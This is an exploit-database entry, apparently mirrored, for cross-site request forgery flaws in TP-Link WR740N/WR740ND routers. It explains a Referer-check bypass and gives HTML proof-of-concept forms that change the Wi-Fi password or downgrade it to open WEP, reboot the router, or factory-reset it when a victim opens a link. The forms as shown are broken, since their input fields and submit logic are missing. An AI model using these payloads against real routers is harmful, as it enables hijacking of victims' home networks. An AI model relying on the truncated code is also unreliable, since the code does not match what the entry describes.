发布 2013-11-25 漏洞条目

TP-Link WR740N/WR740ND – Multiple Cross-Site Request Forgery Vulnerabilities

Exploit Source

# Exploit Title: TPLINK WR740N Multiple CSRF Vulnerabilities

# Date: 11/24/2013

# Author: SaMaN( @samanL33T )

# Vendor Homepage: http://tplink.com

# Category: Hardware/Wireless Router

# Firmware Version: 3.16.6 Build 130529 Rel.47286n and below

# Tested on: WR740N/WR740ND (May be possible on other models)

---------------------------------------------------

Technical Details

~~~~~~~~~~~~~~~~~~

TPLINK WIreless Router WR740N has a Cross Site Request Forgery Vulnerability in its Web Console. Attacker can easily change Wireless password,Reboot Router,Change Settings by simply making the user visit a CSRF link.

Application uses "HTTP-REFERER" check functionality to check for CSRF attacks. But it can easily be bypassed using the "Referer" parameter with value set to target's I.P in the GET request.

Exploit Code

~~~~~~~~~~~~~

Change WPA/WPA2 password by CSRF

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>

<form action="http://[TARGET/IP]/userRpm/WlanSecurityRpm.htm"

method="GET" name="form">

</form>

</body>

</html>

#For Changing the Security to Open WEP, simply change "secType" value to 1.

Reboot Router by CSRF

~~~~~~~~~~~~~~~~~~~~~

<html>

<form action="http://[TARGET/IP]/userRpm/SysRebootRpm.htm"

method="GET" name="form">

</form>

</body>

</html>

Factory Reset the Router

~~~~~~~~~~~~~~~~~~~~~~~~

<html>

<form action="http://[TARGET/IP]/userRpm/RestoreDefaultCfgRpm.htm"

method="GET" name="form">

</form>

</body>

</html>

SaMaN

twitter : @samanL33T <https://twitter.com/samanL33T>

作者: Samandeep Singh
日期: 2013-11-25
类别: webapps
平台: hardware

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection